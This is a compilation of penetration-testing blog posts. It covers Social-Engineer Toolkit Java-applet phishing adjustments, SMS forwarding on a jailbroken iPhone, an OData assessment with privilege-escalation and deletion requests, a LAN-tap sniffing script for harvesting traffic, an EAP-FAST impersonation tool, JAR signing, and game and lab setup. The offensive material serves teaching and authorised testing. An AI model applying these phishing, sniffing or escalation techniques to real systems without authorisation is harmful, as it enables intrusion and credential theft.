A good friendly employee can do wonders when you discover that people are clicking “Run” but aren't getting owned. First walk the user through getting to the website and ensure the applet loads properly. If you’re not getting a connectback, have the user go directly to the URL that’s hosting the stagger. This URL is dynamically generated by default, so you may have to check the metasploit output to figure out where it is.

This first troubleshooting step is usually where you’ll find the issue. Most commonly it’s the user’s outbound filtering rules. Have the user attempt to browse to IP addresses, hostnames, known sites, unknown sites, etc...

Modifying SET to work with Hostnames

Assuming that we deduced during the troubleshooting step that the organization’s outbound filtering disallows HTTP/HTTPS access to IP addresses but allow browsing to hostnames, we can modify SET to work around that filter. By default however, SET does not support hostnames. It’s a somewhat easy code change to make it support hostnames, but there’s an even easier way with the scenario we’ve described.

Java’s control panel allows you to view the Java Cache, which will gives insight into where the applet is pulling the payload from. To view it in Windows go to the Control Panel – Java, then on the General Tab under “Temporary Internet Files” click “View”.



You can see that our applet is headed to an IP address:



When SET clones a website it’ll add in the HTML to support the Java Applet and pass it a few parameters to detail it’s configuration. Parameters 1, 3, and 4 define the payload, so if we just modify these to point to our hostname rather than an IP Address. This is all stored within the index.html of your webserver. If you have been following along, we’re using Apache and its default webroot is in /var/www on Backtrack.



Now we can take a quick look at the Java Cache again to confirm:



That's it! Pwntime!


Got any more SET configuration Tips? Share in the comments below!



Update:

We contacted the developers of SET about supporting hostnames and they updated the version on GitHub to support it! Those guys rock!! Thanks!!

Forwarding SMS to Email on [Jailbroken] iOS

$
0
0
by KrishnaChaitanya Yarramsetty.

As with most ideas, this one also took shape out of necessity to reduce manual work and dependencies in various scenarios. This blog post shows one of the many ways to read SMS messages from a jailbroken iPhone and send it as an email. There are ways to do this using a few Cydia Apps but they usually require you to register for an account or pay for the service which was less than ideal for me.

Requirements

  • iOS 5.1.1 (9B206) - Other versions may work as well
  • Python 2.7.3 to 3 via Cydia (cydia.radare.org)
  • SQLite 3.x via Cydia (cydia.radare.org)
  • adv-cmds via Cydia (apt.saurik.com)


SMS Storage

iOS stores a lot of data in sqlite databases which, in most cases, can be identified by their “.db” extension. SMS messages are stored in the following files:

 /var/mobile/Library/SMS/sms.db
/var/mobile/Library/SMS/sms.db-shm
/var/mobile/Library/SMS/sms.db-wal



The sms.db-wal is a "Write Ahead Log" which is responsible for transactional behavior, while the sms.db-shm is an "Associate File" which is required to read sms.db-wal and the original sms.db.

sms.db is the main file that retains most data, however these files are temporary in nature. The last received SMS message will go into sms.db-wal file. sms.db-wal uses a different format on top of the standard sqlite structure as the sms.db. All three files are read with a single connect() function call from the sqlite API.

Reading the SMS Database

First task at hand is to read sms.db file and analyze the database to find out how iOS is storing SMS messages. For whatever reason many of the sqlite3 utilities seem to have problems opening the file.

Sqlite3.exe and SQLite Database Browser

Although the initial import worked using sqlite3.exe on Windows, attempts to query the sms.db file failed. I also tried SQLite Database Browser which resulted in the below error.



Cydia’s sqlite3 binary

We also tried to read the database file from within iOS using the sqlite3 binary that came with Cydia which proved to be futile:



Text Editor

With all of the utilities having problems reading the file, I decided to just open the file using a text editor to determine if there was something wrong with it. Everything looked fine, so I ran through the file looking for CREATE statements to determine where messages were stored which produced the following structure:

 CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT,
address TEXT,
date INTEGER,
text TEXT,
flags INTEGER,
replace INTEGER,
svc_center TEXT,
group_id INTEGER,
association_id INTEGER,
height INTEGER,
UIFlags INTEGER,
version INTEGER,
subject TEXT,
country TEXT,
headers BLOB,
recipients BLOB,
read INTEGER,
madrid_attributedBody BLOB,
madrid_handle TEXT,
madrid_version INTEGER,
madrid_guid TEXT,
madrid_type INTEGER,
madrid_roomname TEXT,
madrid_service TEXT,
madrid_account TEXT,
madrid_account_guid TEXT,
madrid_flags INTEGER,
madrid_attachmentInfo BLOB,
madrid_url TEXT,
madrid_error INTEGER,
is_madrid INTEGER,
madrid_date_read INTEGER,
madrid_date_delivered INTEGER);



With a potential idea of where SMS messages might be stored, I decided to use Python’s sqlite API to query the database directly.

smsDBQuery.py

smsDBQuery.py uses the standard SQLite API to connect to the sms.db and fetch all the unread messages using the below query:

 SELECT text from message where read=0 order by date desc



To use the smsDBQuery.py, copy it to your device’s /var/mobile/Library/SMS/ directory and run it as follows:



What’s interesting to note is that the sms.db contains even very old messages that aren’t displayed on the device. This is because sms.db-wal retains the latest state for the device’s UI - so only a subset of messages are shown.

Catching New Entries and Sending Email

We can use the SQL TRIGGER statement to catch insert events on the message table when new SMS messages are received. Then our python script will take that message and send an email. We've created the following github repo for all the code:

To accomplish everything, our program works as follows:

  1. Create a temporary message2 table in the original database that is a subset of the main table
  2. Write a TRIGGER on insert event of the database and attach it to the main SMS table. The TRIGGER should read the latest message and insert it into the message2 table without with altering any content in the original message table
  3. Have a secondary script regularly monitor the message2 table and send an email containing the message contents when a new entry is added. We’ll use the emailsent flag to track state


smsCreateTrigger.py

smsCreateTrigger.py will create the database trigger and the message2 table. You’ll only need to run this once to get the database set up. I’d recommend backing up your sms.db just in case and if you get any errors thoroughly inspect them. If you have any problems you can uncomment the DROP statements (and comment the CREATE) to clean up the sms.db.

smsWatcher.py

smsWatcher.py should be run in the background and will poll the message2 table for new entries. Once it sees one, it’ll take the message and send out an email via SMTP. You’ll need to manually set the following variables within the script to the variables applicable to your setup.

 fromaddr   : 'abc@gmail.com'
toaddrs : 'xyz@gmail.com'
username : 'abc'
password : '****'
server : smtplib.SMTP('smtp.gmail.com:587')
smsfromaddress :('AXARWINF','6564567890',)



Note that we’re only forwarding messages from a specific address. If you’d like to forward all messages simply modify the SELECT statement to not use the address field.

With all your variables set up, you can run the smsWatcher process, be sure only one smsWatcher process is running at a time:

 python smsWatcher.py &




Evaluating OData Applications

$
0
0
By Gursev Kalra.

I was recently evaluating a SaaS provider's OData application, evaluating how its endpoint client application communicated via OData to its backed servers. The client application allowed SaaS consumers to schedule critical computation functions, download the results, and perform additional actions using OData’s RESTful operations.

This blog post aims provide an overview of the OData assessment methodology and also discusses a few interesting findings identified with respect to the specific OData implementation tested.

Understanding Our Target

The first step of any assessment is gain an understanding of how the application functions. Particularly with OData applications, you’ll want to explore all available functionality, monitor its communication using Fiddler, then map out the RESTful operations and the URIs accessed for all the available functionality. Once this is done, you should have an understanding of the application as well as its OData requests and responses. The specific application we were targeting only had one user role so we could test only for horizontal privilege escalation if the Service Metadata Document review did not reveal additional functionality or features.

Looking at the RESTful operations you should be able to determine the Service Root URI and the Service Metadata Document URI. For the application we were targeting, we leveraged these new URIs to perform the following:

  1. We accessed the Service Root URI and it showed several Feeds that were never referred by the thick client. A win? Not until we are able to really access real data.
  2. Next we used Oyedata to perform automated analysis of the OData service (Service Metadata Document) and then exported the fuzzing templates to a text file to be used with the Burp suite for testing. The target OData service did not support JSON format and Oyedata’s ability to generate fuzzing templates in both JSON and XML formats came in as a life saver.
  3. We also downloaded the Service Metadata Document locally for manual analysis.
As a result of all of these steps we discovered several additional Feeds and functionalities that the thick client did not use. Interesting, huh? Let’s move on to the assessment phase.

OyeData

OyeData is a tool I wrote to help with OData assessments and is pretty much required. If you're unfamiliar with the tool, check out the video:



Assessment

Now that you fully understand the application and have a good idea of what on the server side is available, you can being to think about available attack vectors. Given what was available for our application, we proceeded to the attack phase with the following:

  1. Check for Horizontal Privilege Escalation.
  2. Identify what data/functionality was available through the additional Feeds discovered.
  3. Attempt RESTful operations that were not utilized by the thick client and shown to exist via automated Oyedata analysis. Oyedata’s data generator also helped by generating random sample data, especially for cryptic data types like Edm.DateTime and Edm.DateTimeOffset.


A Few Interesting Findings

After exhausting our attack vectors (plus a few extra from our methodology) we found some interesting findings. Here are some of them. We modified/obfuscated the output a bit as we’re still awaiting remediation confirmation from the vendor.

Passwords were Stored in Clear and exposed via Feeds

The OData web service exposed username and passwords of all users via its Users feed. This finding highlights two important concerns:

  1. The affected feed had mis-configured access control that allowed access to the Users table.
  2. The database had user passwords in clear.




Privilege Escalation

The thick client did not offer any functionality to add, update or remove new users. The user role we had did not offer it either. However, it was possible to add new logins with privileges of our user account by sending the following RESTful (POST request generated using Oyedata) to the OData service. It was also possible to update or delete other users with the test user account we had.

 POST /XXXXXService.svc/RemoteLogins HTTP/1.1
Host: www.vulnerablehost.com:8011
Accept: application/atom+xml,application/atomsvc+xml,application/xml
Content-Type: application/atom+xml
Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop


<?xml version="1.0" encoding="utf-8"?>
<entry xmlns="http://www.w3.org/2005/Atom" xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata" xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
<content type="application/xml">
<m:properties>
<d:GroupId>4</d:GroupId>
<d:RemoteServerId>1</d:RemoteServerId>
<d:Login>newuser</d:Login>
<d:Password>newpassword </d:Password>
</m:properties>
</content>
</entry>





The application also allowed us to download results for other user’s submission’s and was found to be vulnerable to several instances of both Horizontal and Vertical Privilege attacks.

Application Logic Bypass

The client application did not provide any functionality to overwrite or delete past computation submissions however we were able to by abusing the OData web service since it was insecurely configured and allowed updates via PUT method. The previous submissions could also be deleted by issuing the following request. Here the value ‘100’ indicates the submission ID.

 DELETE /XXXXService.svc/Submissions(100) HTTP/1.1
Host: www.vulnerablehost.com:8011
Accept: application/atom+xml,application/atomsvc+xml,application/xml
Content-Type: application/atom+xml
Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop




Conclusion

OData is a new protocol that attempts to be the JDBC/ODBC for the internet and provide a new dimension to data access. Organizations that plan to implement OData should strive to learn more about this wonderful new protocol, the security risks involved and secure it as part of the deployment process.

Unreal Tournament 99 Server On Ubuntu 12.04 (AWS)

$
0
0
By Brad Antoniewicz.

We do a lot of "team building" at Foundstone - it comes in all varieties. This week's activity was an Unreal Tournament LAN Party, and I figured I'd share the setup in case anyone else wanted to do the same - not particularly security related but still fun :)

Initially I created a dedicated Ubuntu VM however it didn't scale well over our internal VPN with various users, so instead I opt'ed for an Amazon Web Services based system.

Keep in mind this configuration is intended to use on a temporary, as needed, basis. Also this is a non-critical server on an open network. If your situation is different or you intend to host a game for not so trusted people, you might want to check out some UT99 Admin forums for additional anti-cheating and general security protections for dedicated UT servers.

Creating the Instance

The EC2 instance configuration is pretty straightforward. Use the Classic Wizard:



Select "Ubuntu Server 12.04.1 (LTS)", be sure to select 32-bit or you'll run into some problems later on.



I selected "No preference" for the geographic region in which the instance resides since we'll be having users join globally.



Also set any advanced preferences, which I left default.



The storage configuration doesn't really matter since it's just a temporary use server.



Set tags if you wish, since I dont have many AWS instances, I don't have much use for them so I left blank:



Create your SSH keys so you can remotely connect or use existing ones. I created a special key pair for this server:



Firewall Rules

The next thing you'll need to do is set up firewall rules. The default requirement is UDP 7777, which may work for you. In the end, I used a different port to help us get around any outbound filtering that might be in place on the various networks our players would be originating from. You'll also need to allow TCP22 for management.



Elastic IP

Finally, reserve and associate an Elastic IP to the instance so that your users don't have to use a long hostname when defining your server (within "Open Location" in the game).



Ubuntu Configuration

For the most part will be following the configuration detailed on the Ubuntu help pages. With the instance created, you'll need to SSH into it to perform additional configuration. Using you SSH key (I named mine utt9.pem) connect the provided in the details of your newly created instance:

 user@somehost:~$ mv ut99.pem ~/.ssh/
user@somehost:~$ chmod 400 ~/.ssh/ut99.pem
user@somehost:~$ ssh -i ~/.ssh/ut99.pem ubuntu@your.amazon.instance.host.com



Once connected, you'll need to install some packages so that everything runs smoothly:

 ubuntu@aws:~$ sudo apt-get update
ubuntu@aws:~$ sudo apt-get install unrar-free libsm-dev libxi6



Also the installation requires libgtk-1.2 which is long outdated. You can use older binary packages to get things working:

 ubuntu@aws:~$ wget https://launchpad.net/ubuntu/+source/glib1.2/1.2.10-19build1/+build/462715/+files/libglib1.2ldbl_1.2.10-19build1_i386.deb
ubuntu@aws:~$ wget https://launchpad.net/ubuntu/+source/gtk+1.2/1.2.10-18.1build2/+build/484191/+files/libgtk1.2_1.2.10-18.1build2_i386.deb
ubuntu@aws:~$ wget https://launchpad.net/ubuntu/+source/gtk+1.2/1.2.10-18.1build2/+build/484191/+files/libgtk1.2-common_1.2.10-18.1build2_all.deb
ubuntu@aws:~$ sudo dpkg -i libglib1.2ldbl_1.2.10-19build1_i386.deb
ubuntu@aws:~$ sudo dpkg -i libgtk1.2-common_1.2.10-18.1build2_all.deb
ubuntu@aws:~$ sudo dpkg -i libgtk1.2_1.2.10-18.1build2_i386.deb
ubuntu@aws:~$ sudo ldconfig



Installation CDs

If you don't have your original installation ISOs, life will be painful until you find them. However once you do, mount them both at the same time (the installation will automatically detect them or prompt you to mount):

 ubuntu@aws:~$ mkdir m1 m2
ubuntu@aws:~$ sudo mount -o loop UT-GOTY-CD1.iso m1
ubuntu@aws:~$ sudo mount -o loop UT-GOTY-CD2.iso m2



The Linux Installers for Linux Gamers project offers tons of ways to play older OpenGL based games on Linux. They have a specific page dedicated to UT99. Go there and download the multilanguage installer and the bonus pack. Even if you're using the GOTY (Game of the Year) edition, don't use the GOTY specific installer because it doesn't ever seem to work. Download the following:


With your ISOs mounted and the installers downloaded, start the installation. You can take all of the default options and be fine:

 ubuntu@aws:~$ chmod +x unreal.tournament_436-multilanguage.run
ubuntu@aws:~$ sudo ./unreal.tournament_436-multilanguage.run


Also install the bonus pack and use its default options:

 ubuntu@aws:~$ chmod +x unreal.tournament.official.bonus.pack.collection.run
ubuntu@aws:~$ sudo ./unreal.tournament.official.bonus.pack.collection.run



For whatever reason the maps are all compressed and won't work until you decompress them. To do so just:
 ubuntu@aws:~$ cd /usr/local/games/ut/System
ubuntu@aws:/usr/local/games/ut/System$ for i in ../Maps/*.uz ; do sudo ./ucc-bin decompress $i -nohomedir ; done
ubuntu@aws:/usr/local/games/ut/System$ sudo mv *.unr ../Maps



You're Done! Now you can start the game:

 ubuntu@aws:~$ cd /usr/local/games/ut/System
ubuntu@aws:/usr/local/games/ut/System$ ./ucc-bin server DM-Turbine



Alternatively, you can use the ucc binary that gets installed as part of the Loki installer.

 ubuntu@aws:~/$ ucc server



UnrealTournament.ini

The /usr/local/games/ut/System/UnrealTournament.ini file contains all of the server configuration. When you run it as a non-root user (preferred) it'll use the one within ~/.loki/ut/System/UnrealTournament.ini. The easy items you'll want to set are:

 [Engine.GameReplicationInfo]
ServerName=Foundstone Server
ShortName=URMOM
AdminName=Brad
MOTDLine1=Your Mom is So Hawt!



I've also set the following to hopefully speed up connections:

 [IpDrv.TcpNetDriver]
MaxClientRate=5000



And finally, i set up some initial bots to keep the game interesting plus some frag/time limits:

 [Botpack.DeathMatchPlus]
MinPlayers=6
FragLimit=15
TimeLimit=10
InitialBots=1



Enjoy!

What settings do you like to use in your UnrealTournament.ini? Let us know in the comments below!

Sniffing Traffic on the Wire with a Hardware Tap

$
0
0
By JP Dunning.

Capturing network traffic is a great way to learn more about a target network, harvest credentials, and even monitor user habits. In the Wi-Fi world, it’s easy: simply specify a channel and set the wireless card to monitor mode (assuming driver support). However, capturing traffic on a wired network is a little trickier. In this article we’ll walk through setting up a LAN tap and capturing traffic with it.

Software Taps

There are a variety of options for sniffing traffic via software on a wired network - Wireshark is probably the most common choice for a free and powerful network sniffer. If you are logged onto the computer, install Wireshark and select a capture interface.

If the target has been exploited remotely with Metasploit, Meterpreter can capture local traffic with the sniffer script. Though, there is a chance it may be picked up by Anti-Virus and it will most likely also be capturing Meterpreter’s traffic. In addition, sniffing network traffic on most Operating Systems requires Administrative privileges. So, how else can the network traffic be captured?

Hardware Taps

How about instead of using the host computers software, we tap directly into hardware. A Network Tap is hardware which taps into the physical connection between devices on a network. Taps are sometimes used by network engineers when debugging network issues. Some professional Port Mirroring TAPs can be fairly expensive.

Thowing Star LAN Tap

A cheaper alternative is to use a basic LAN tap, like the Throwing Star LAN Tap. When in place on the network, the LAN tap passively allows traffic to pass though unaltered. Think of it as a standard Ethernet coupler. What differentiates the LAN tap from a normal coupler are the two additional ports which tap the inbound and outbound traffic on the network cable.

NOTE: This hardware is designed to be used on 10BASET and 100BASET networks (which are still in use in the vast majority of networks).

Setting up Hardware

The setup requires the following:

  • 1 LAN tap
  • 1 computer to sniff the traffic
  • 4 network cables (including the one is already connected to the target computer)
  • 2 network interfaces (for sniffing)

The LAN tap is not a complex machine, in fact it is essential just a few wires and jacks. A computer needs to be in place to capture from the LAN tap. (I recommend something small like a plug computer, UMPC, or ultabook). Since most laptops do not come with more than one Ethernet interface, pick up a few USB Ethernet adapters to use for capturing.

There are four ports on the LAN tap. Two ports (J1 and J2) pass traffic unaltered two devices on the network. The other two ports (J3 and J4) are the monitoring ports. These ports physically connect to the inbound and outbound traffic wires of the network cable, but do not allow traffic to be transmitted on the network. Tapping passively keeps a misconfiguring interface on the sniffing computer from accidentally sending traffic on the network.



Connecting Components

Setting up the LAN tap should only take a few minutes once all the equipment is on hand. If you move quickly, the target computer should only have a few seconds of interruption from the network. Most operating systems and services should handle a temporary network outage with little issue. (Though it may cause issues with some real time network services).

For a quick installation:
  1. Connect an Ethernet cable to each of the 2 monitoring ports (J3 and J4) and 1 LAN port (J1). This leaves one port (J2) open.
  2. Connect the network cables from J3 and J4 to Ethernet jacks on the sniffing computer. These will be the Ethernet USB adapters (or any space Ethernet jacks) mentioned earlier.
  3. Disconnect the network cable from the target computer. (It does not really matter at which end of the network cable the tap is placed. If it is more convenient to place the tap closer to the router, then unplug the cable from the router instead.)
  4. Connect the cable plugged into J1 to the now open port on the target computer (or router). Then, connect the network cable (previously connected to the target computer) to J2.

Now all the hardware is in place to start capturing. The connection to the network should be restored. (If the connection is still down, make sure all the cables are plugged into the correct ports.) From this point on, the presence of the LAN tap will not be detectable by the target computer or network (other than a slight loss in power).

Unlike monitoring traffic on local network ports, the LAN tap requires capturing inbound and outbound traffic on two separate ports. Sniffing this traffic will create two separate capture file, one for each interface.

Capturing Traffic

After you are done sniffing, the two captures can be combined into one network flow. mergecap is a tool which can combine two captures according to the frame timestamps of each packet. This means that packets from both capture files will be placed in order according to the time at which they appeared on the network. mergecap is a part of Wireshark, but may need to be manually installed from a repository.

 root@bt:~# sudo apt-get install mergecap



I put together the lantapcap.sh script to automate the capture and merging process. It configures two interfaces to capture passive traffic from the LAN tap, and then combine the two captures into a single net flow. Copy and paste the following into your favorite text editor and save as lantapcap.sh.

I've also uploaded a copy here:


 #!/bin/bash
#
# lantapcap.sh
#

NET0=eth0
NET1=eth1
CAPNAME=name
CONTINUE=go

printf "\nUse LanTapCap for capturing network traffic with a LAN Tap\n"
printf "\nInterfaces:\n\n"
ifconfig -a | grep "Link encap:" | awk '{print $1}'

printf "\nSpecify interfaces for sniffing."
printf "\nInterface 1 of 2 [eth0]: "
read NET0

printf "Interface 2 of 2 [eth1]: "
read NET1

printf "Packet capture name [Capture]: "
read CAPNAME

printf "\nDisable interfaces ...\n\n"
ifconfig $NET0 down
ifconfig $NET1 down

printf "Enable interfaces ...\n\n"
ifconfig $NET0 up
ifconfig $NET1 up

printf "Set interfaces to promiscuous mode ...\n\n"
ifconfig $NET0 promisc
ifconfig $NET1 promisc

sleep 1

printf "Starting capturing ...\n\n"

sleep 1

xterm -bg blue -fg white -geometry 90x10-0+0 -T "Capturing on $NET0" -e tcpdump -i $NET0 -w $CAPNAME-$NET0.pcap -v &

sleep 2

xterm -bg blue -fg white -geometry 90x10-0+120 -T "Capturing on $NET1" -e tcpdump -i $NET1 -w $CAPNAME-$NET1.pcap -v &

sleep 2

printf "\n\nPress ANY KEY to end capturing.\n\n"
read CONTINUE

printf "Produced capture file $CAPNAME-$NET0.pcap from $NET0\n\n"
printf "Produced capture file $CAPNAME-$NET1.pcap from $NET1\n\n"

printf "Halting captures ...\n\n"

if [[ ! -z $(pidof tcpdump) ]]; then kill $(pidof tcpdump); fi

printf "Merging captures ...\n\n"
mergecap $CAPNAME-$NET0.pcap $CAPNAME-$NET1.pcap -w $CAPNAME-Full.pcap

printf "Disable interfaces ...\n\n"
ifconfig $NET0 down
ifconfig $NET1 down

printf "Produced capture file $CAPNAME-$NET0.pcap from $NET0\n\n"
printf "Produced capture file $CAPNAME-$NET1.pcap from $NET1\n\n"
printf "Produced capture file $CAPNAME-Full.pcap from merging captures\n\n"
printf "... done\n"




Run the script with root privileges. Provide the two sniffing Ethernet interfaces when prompted.
 root@bt:~# ./lantapcap.sh





Click back into the main terminal.



When you are done capturing traffic, hit any key in the original terminal. This will stop the capturing and merge the capture files.



Unplug cables from the LAN tap and plug the original network cable back into the target computer. Again, this will cause a momentary drop in network connectivity.

Now, feel free to examine the traffic any way you like. All three capture files can be parsed by network analysis tools like Wireshark.

References



Hacking EAP-FAST Phase 0 with hostapd-wpe

$
0
0
By Brad Antoniewicz.

EAP-FAST (Flexible Authentication via Secure Tunneling) [RFC 4851] is an EAP-Type developed by Cisco "to support customers that cannot enforce a strong password policy and want to deploy an 802.1x EAP type that does not require digital certificates". While this article will focus on its use in 802.11 networks, mostly everything below is still applicable to wired networks.

PAC Files

EAP-FAST is very similar to EAP-TTLS and PEAP in that it first establishes a TLS tunnel from the client to the authentication server, then passes client credentials through it via a "less secure inner authentication protocol". The defining factor of EAP-FAST is client side file called a Protected Access Credential (PAC). The PAC aids in the initial tunnel set up by acting sort of like a mix between a client certificate and a session identifier. To understand it, you have to have knowledge of RFC4507, which outlines TLS session resumption. Long story short: the client gets a session ticket, which allows it to reestablish a TLS tunnel without performing the full TLS handshake.

Phases

EAP-FAST has specific terminology for each of steps in a connection, named phases 0 - 2. Phase 1 is the TLS tunnel establishment, and Phase 2 corresponds to user authentication via the inner authentication protocol. Phase 0, however, is something new.

Phase 0: Provisioning

The EAP-FAST RFC doesn't specifically touch on the provisioning of the PAC files, instead there is another entire RFC dedicated to it. Probably because this is one of the most difficult issues to deal with. EAP-TTLS and PEAP support client certificates however since the user has to first make a wired connection to retrieve the certificate (or the certificate has to be loaded manually) they're hardly ever used. So EAP-FAST's defining factor is the PAC which faces the same problem.

You have the traditional modes of installation (e.g. sneakernet) or you can choose "Automatic PAC Provisioning". This is the real downfall of most deployments. Automatic PAC Provisioning establishing an anonymous Diffie Helman tunnel between the client and the authentication server. Since its anonymous, the client can't validate the identity of the authentication server, and, bam, AP Impersonation Attack.

hostapd-wpe

A little awhile ago Josh Wright and I teamed up on patch for FreeRADIUS called FreeRADIUS-WPE (Wireless Pwnage Edition). The patch modifies FreeRADIUS to output additional debugging information, including the inner authentication credentials of the connecting client. Since FreeRADIUS doesn't support EAP-FAST, I followed JoMo-Kun's lead and modified hostapd.

With hostapd-wpe you can launch impersonation attacks against EAP-FAST Phase 0 and PEAP! Just compile and run :)

Creating, Extracting, and Signing JARs

$
0
0
By Raakesh T.

Java Archive (JAR) is a cross-platform archive file format used to compress and bundle multiple files (e.g. Java class files), metadata and resources into a single file with the .jar file extension. It is the preferred way for packaging Java applets or applications into a single archive, so that they may be downloaded by a browser with only a single request and response.

JAR files are built on the ZIP file format algorithm and are similar to UNIX’s tape archive format (TAR) and can be signed using digital signature to ensure authenticity.

Users can create or extract JAR files using the jar command that comes with a Java Development Kit (JDK). They can also use zip tools to do so; however when compressing, it’s important to note that the MANIFEST must first within the ZIP file order entries.

Creating JAR Files

To create a JAR file using the JDK jar utility:

 C:\Java> jar cf Name.jar  *.class 


  • c - Creates a new archive.
  • f - Specifies the JAR file to be created.


In the above example all the class files in the present directory will be bundled into the file called Name.jar file.

To include a subdirectory in the JAR file:

 C:\Java> jar cf Name.jar  *.class SubDirectory 


The above example would bundle all the class files in the present directory and the all the contents in the subdirectory SubDirectory into a JAR file name Name.jar.

The MANIFEST

The manifest file, META-INF/MANIFEST.MF, is automatically generated by the jar tool and is always the first entry in the JAR file. The manifest file has meta-information about the archive is stored as name: value pairs.

If you have a preexisting manifest file and want to included specific name: value pairs, you can specify the with the m option:

 C:\Java> jar cmf myManifestFile Name.jar *.class 


Be sure that any pre-existing manifest file that you use ends with a new line. Note that the order of the commands should be considered. For example using cfm results in a different structured command from cmf:

 C:\Java> jar cfm Name.jar myManifestFile *.class 


Now the MANIFEST.MF has the following:

 Manifest-Version: 1.0
Created-By: 1.7.0_17 (Oracle Corporation)


Signing JAR Files

The jarsigner utility within the JDK can sign and verify JAR files. JAR files are signed using PKI (Public Key Infrastructure). PKI uses a public and private key pair - the private key should be kept with the owner privately and securely and the public key can made available publicly. Here the private is used to encrypt the file’s hash value and the public key will be used to decrypt the encrypted file’s hash value. Also to make the certificate genuine it has to be in the known Certificate Authority (CA) Chain. (The whole discussion on CA is out of scope).

When you sign the JAR file, the certificate containing the public key is created in the META-INF directory. The digest (or hash) is computed for all files in the JAR and is also included in the manifest.

 Name: Name.class
SHA-256-Digest: (a 256-bit hash value for the file)


A signature file with extension ".SF" is created in the META-INF directory. The digest of each file is signed (or encrypted) using the signer's private key:
 Signature-Version: 1.0
SHA-256-Digest-Manifest-Main-Attributes: (base64 form of SHA-256 digest)
SHA-256-Digest-Manifest: (base64 form of SHA-256 digest)
Created-By: 1.7.0_17 (Oracle Corporation)

Name: Name.class
SHA-256-Digest: (base64 form of SHA-256 digest)


A signature block file with extension ".DSA" (Digital Signature Algorithm) is also created in META-INF directory. This file includes the digital signature for the JAR file, the digital certificate and the public key of the signer.

The signature related files are:

  • META-INF/MANIFEST.MF
  • META-INF/*.SF
  • META-INF/*.DSA
  • META-INF/*.RSA
  • META-INF/SIG-*


Note that if such files are located in META-INF subdirectories, they are not considered signature-related.

Before we sign the JAR file, we need to create private and public file required for encrypting and decrypting the JAR hash or digest value. JDK provides the keytool utility for managing public/private keys and digital certificates. The jarsigner utility can be used for signing the JAR files.

Generating keys

First you must create a pair of keys (private-public) which is used to sign the JAR and authenticate you. These keys can be generated using the keytool command. The generated keys are stored in a keystore file. Each set of keys is associated with a unique name, known as its alias. To generate the keys:

 C:\Java> keytool -genkey -alias alias-name -keystore keystore-name


Following the above command you will be asked for the keystore password or to create one if the keystore does not yet exist and then, you will have to answer seven questions to record your identity. Then you will be asked to choose a password for the keys you just created.

To list the contents of keystore:

 C:\Java>keytool –keystore keystore-name –list 


Now the key pair is generated which will be used to sign the JAR.

Signing

To sign the JAR file, use the following command
 C:\Java>jarsigner -keystore keystore-name -storepass keystore-password -keypass key-password jar-file alias-name 


Note: Including the passwords on the command line is usually a bad idea – if you leave out the values then jarsigner will prompt you for them.

Check if a JAR is Signed

Your browser will automatically verify signed applets, if it can’t, it would throw a warning similar to the below:



Download the JAR file and verify. You can extract the downloaded JAR file and manually parse the MANIFEST and .SF file data in the META-INF sub-directory.



The above option will not give any certificate information like Owner, Issuer or validity.

The JAR file can be verified using jarsigner. The basic command to use for verifying a signed JAR file is:

 C:\Java>jarsigner -verify jar-file



If the JAR is unsigned, the response would be:

 jar is unsigned. (signatures missing or not acessible)



If the JAR is signed but the certificate is expired, the utility would give a warning that certificate is expired:

 jar verified.
Warning:
This jar contains entries whose signer certificate has expired.
This jar contains entries whose certificate chain is not validate



When you get the certificate expired message, you can read the certificate information using the keytool:

 C:\Java>keytool -list -printcert -jarfile jar-file.jar





The above output would reveal the Owner, Issuer and Validity Information of the certificate.

It is also possible to read the certificate information from the .DSA file. To do so, extract the JAR file using a ZIP utility and then use openssl:

  C:\>openssl pkcs7 -in signature-file.DSA -inform DER -print_certs -text





Conclusion

Signing the JAR with valid signature would help the users to identify malicious component publishers and modification of the components after publishing.

For more information - check out our whitepaper here:



References:

Setting up your Hacking Playground - VMWare vs HyperV

$
0
0
By Tony Lee.

I am beginning to think that it is a universal truth that geeks love to build some sort of playground or work area for their experiments. Whether that is physical or digital, it becomes a sort of escape--a place to try out new ideas without destroying something of value. If you are nodding your head in agreement then you know what I am talking about.

Before virtualization, we had computers stacked on top of computers just to run a digital playground. After all, what fun is a single host network? Then came the prevalence of virtualization and the market was easily dominated by the trailblazing VMWare. Virtualization not only helped me save on hardware, but also power, space, and cooling. Matter of fact, I think this was about this time that I discovered that HVAC was required to heat the house during the winter months. ;)

In the past, I have exclusively used VMWare for my at-home virtual environment. Starting way back with VMWare Server for Linux (a type 2 aka a hosted hypervisor) and eventually moving to ESXi (a type 1 aka native or bare metal hypervisor). However, I recently built a new rig and had to make a decision of whether to go back to VMWare ESXi or try out Microsoft’s Hyper-V Server 2012 (both type 1). I took a little bit of time to document my experiences and I think you will be as surprised as I was with the results. Hopefully this will save you a few sleepless nights that I lost along the way.

**Keep in mind, most hackers are not independently wealthy and thus we will be using FREE PRODUCTS ONLY! Sure, our employers can drop 10k or even 60k on all the bells and whistles, but we are trying to build a production-like environment for our at-home use.**

On with the geek holy war! (Maybe for the next set of articles, we will throw in XenServer to really spice things up).

Comparison

For a quick summary, I threw everything together in the below table. Read on for more details:

CategoryVMWareHyper-VWinner
Hardware CompatibilityHorrible - NIC driver missing on my setupExcellent - no issuesHyper-V
RAM supported32 GBAll 64 GB - up to 4TBHyper-V
StabilityBad - Purple screen of deathExcellent - no issues so farHyper-V (in my case - most likely due to HW compatibility)
Boot speedSlow - minutes to completeFast - 30 seconds or lessHyper-V
FeaturesMore developed and refined featuresFree Hyper-V is missing File transfer to datastores and Free robust virtual machine converterVMWare - Mainly due to Linux OS support, more robust management and conversion clients
ManagementvSpere client, Workstation, SSHRDP, Hyper-V ManagerTie - VMware wins in VM management and conversion, however Microsoft wins in hypervisor management
Size of hypervisor4GB8GBVMWare


Hardware

The hardware for this hacker playground is as follows:

  • Cooler Master 932 High Air Flow (HAF) full tower chassis
  • Intel i7-3930K processor - Liquid cooled
  • ASRock X79 Extreme6 motherboard
  • 64 GB Corsair RAM
  • 180 GB Intel SSD hard drive
  • 2 x 2 GB Western Digital Hard Drives
  • 2 x ASUS DVD Burners


Note the amount of RAM, it becomes important later.

Playground requirements

When designing the virtual arena, I had a few requirements in mind:

  • Utilize the hardware above
  • Ease of installation
  • Stable environment
  • Fast VM provisioning
  • Quick snapshot recovery
